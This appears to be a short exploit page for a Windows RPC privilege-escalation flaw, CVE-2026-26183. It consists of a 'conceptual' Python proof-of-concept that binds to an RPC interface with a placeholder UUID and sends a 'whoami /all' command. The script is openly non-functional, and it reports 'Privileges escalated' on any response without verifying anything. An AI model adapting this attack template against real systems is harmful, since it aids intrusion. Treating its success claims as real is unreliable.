CVE-2026-26183 Windows RPC API权限提升漏洞

# Conceptual PoC for CVE-2026-26183 # This script demonstrates the logic of exploiting an RPC Access Control vulnerability. # Specific UUIDs and OpNums are placeholders as they are not disclosed. import rpc # Target RPC Interface (Placeholder) VULN_UUID = "12345678-1234-1234-1234-123456789abc" VULN_VERSION = 1 def exploit(target_ip): print(f"[*] Connecting to RPC endpoint on {target_ip}...") try: # 1. Bind to the vulnerable RPC interface rpc_client = rpc.RPCClient(target_ip, VULN_UUID, VULN_VERSION) rpc_client.connect() print("[+] Connected to RPC interface.") # 2. Craft malicious payload to trigger access control bypass # The payload might aim to execute a command or write a file stub_data = rpc.create_stub_buffer(command="whoami /all") # 3. Call the vulnerable method (OpNum 0 is hypothetical) print("[*] Sending malicious RPC request...") response = rpc_client.call(0, stub_data) if response: print("[+] Exploit successful! Privileges escalated.") print(f"[+] Response: {response}") else: print("[-] Exploit failed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit("127.0.0.1")